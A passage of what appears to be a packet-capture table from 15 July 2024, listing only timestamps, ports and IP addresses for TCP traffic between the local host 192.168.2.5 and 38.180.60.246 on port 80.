Jul 15, 2024 00:48:23.469599009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.469635963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.469649076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.469696045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.469727993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.469742060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.469754934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.469779968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.469794035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.469805956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.469810963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.469827890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.469846964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.469986916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.470026016 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.520647049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.520690918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.520705938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.520725012 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.520735025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.520747900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.520759106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.520762920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.520776987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.520800114 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.520817041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.520901918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.520915985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.520929098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.520941019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.520944118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.520956993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.520976067 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.521151066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.521169901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.521183968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.521188974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.521198034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.521210909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.521217108 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.521224022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.521239042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.521243095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.521251917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.521260977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.521265030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.521291018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.521316051 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.521594048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.521645069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.522794962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.522808075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.522825003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.522856951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.522878885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.522886992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.522900105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.522913933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.522928953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.522958994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.523068905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523088932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523102045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523114920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523123026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.523129940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523144960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523149014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.523175001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.523186922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.523358107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523380041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523391962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523407936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.523415089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523427010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523428917 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.523442030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523459911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.523485899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.523659945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523674011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523715973 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.523718119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523731947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523745060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523756981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523758888 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.523770094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.523785114 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.523812056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524095058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524106979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524118900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524131060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524141073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524156094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524178982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524359941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524372101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524384022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524399042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524408102 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524420023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524431944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524432898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524446011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524451971 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524458885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524472952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524477005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524492025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524501085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524507046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524529934 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524550915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524552107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524586916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524671078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524683952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524697065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524705887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524708986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524722099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524723053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524735928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524743080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524749041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524761915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524770975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524774075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.524786949 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.524813890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.525295019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525312901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525325060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525337934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525350094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525350094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.525362968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525363922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.525376081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525388002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525389910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.525402069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525413990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525425911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525427103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.525439024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525445938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.525450945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525463104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525466919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.525474072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525484085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.525486946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525500059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525511026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525512934 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.525523901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525536060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.525538921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.525557041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.525573969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.526215076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526226997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526237011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526249886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526262999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526271105 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.526277065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526288033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526294947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.526302099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526313066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526313066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.526324987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526330948 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.526338100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526349068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.526350975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526361942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526374102 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.526376963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526387930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.526402950 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.526417971 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.560641050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.560668945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.560687065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.560739040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.560750961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.560754061 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.560764074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.560781002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.560818911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.560848951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.610982895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611027002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611041069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611057043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611089945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611135006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611159086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611174107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611190081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611203909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611207008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611219883 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611234903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611254930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611309052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611352921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611625910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611640930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611655951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611679077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611704111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611722946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611737967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611752033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611763954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611797094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611826897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611872911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611879110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611893892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.611934900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611934900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.611995935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.612010956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.612025976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.612040043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.612050056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.612065077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.612088919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.613420010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613435030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613454103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613468885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.613481998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.613502026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.613568068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613609076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.613615036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613634109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613647938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613662958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613692045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.613702059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.613848925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613864899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613879919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613892078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.613903046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613910913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.613918066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613928080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.613933086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613941908 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.613950014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613961935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.613965988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613975048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.613981962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.613996029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614020109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614027023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614041090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614063978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614065886 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614079952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614092112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614095926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614109039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614115953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614118099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614125967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614152908 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614175081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614308119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614321947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614337921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614352942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614368916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614368916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614376068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614377022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614394903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614408016 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614634991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614649057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614664078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614674091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614677906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614690065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614692926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614705086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614707947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614722013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614722967 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614737988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614751101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614752054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.614777088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.614808083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615024090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615036964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615048885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615061045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615062952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615076065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615081072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615088940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615103960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615113974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615115881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615128994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615130901 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615140915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615147114 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615158081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615175009 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615200996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615390062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615403891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615417004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615434885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615453005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615530014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615571022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615732908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615746975 CEST	80	49704	38.180.60.246	192.168.2.5
